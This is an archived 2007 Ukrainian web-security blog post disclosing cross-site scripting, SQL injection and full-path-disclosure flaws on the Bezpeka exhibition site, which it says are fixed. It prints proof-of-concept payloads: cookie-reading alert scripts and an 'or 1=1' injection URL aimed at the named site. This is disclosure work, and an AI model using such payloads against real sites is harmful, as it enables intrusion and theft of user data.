1fa9
This version of the page http://websecurity.com.ua/792/ (0.0.0.0) stored by archive.org.ua. It represents a snapshot of the page as of 2008-02-19. The original page over time could change.
Уразливості на www.bezpeka.ua - Websecurity - Веб безпека
« Добірка експлоітів
Обхід захисту в Adobe Flash Player »

Уразливості на www.bezpeka.ua

19:09 14.08.2007

27.03.2007

У листопаді, 29.11.2006, я знайшов численні уразливості на http://www.bezpeka.ua - сайті виставки Безпека - найбільшої в Україні виставки технічних систем безпеки. Це Cross-Site Scripting, SQL Injection та Full path disclosure уразливості. Про що найближчим часом сповіщу адміністрацію сайта.

Детальна інформація про уразливості з’явиться пізніше.

14.08.2007

XSS:

  • alert(document.cookie)
  • alert(document.cookie)
  • alert(document.cookie)

SQL Injection:

http://www.bezpeka.ua/index.php?ide=34&news=488%20or%201=1

Full path disclosure:

http://www.bezpeka.ua/index.php?ide=-63

http://www.bezpeka.ua/index.php?ide=34&news=488-

Дані уразливості вже виправлені.


This entry was posted on 19:09 14.08.2007 and is filed under Уразливості. You can follow any responses to this entry through the RSS 2.0 feed.

Leave a Reply

1f5a

0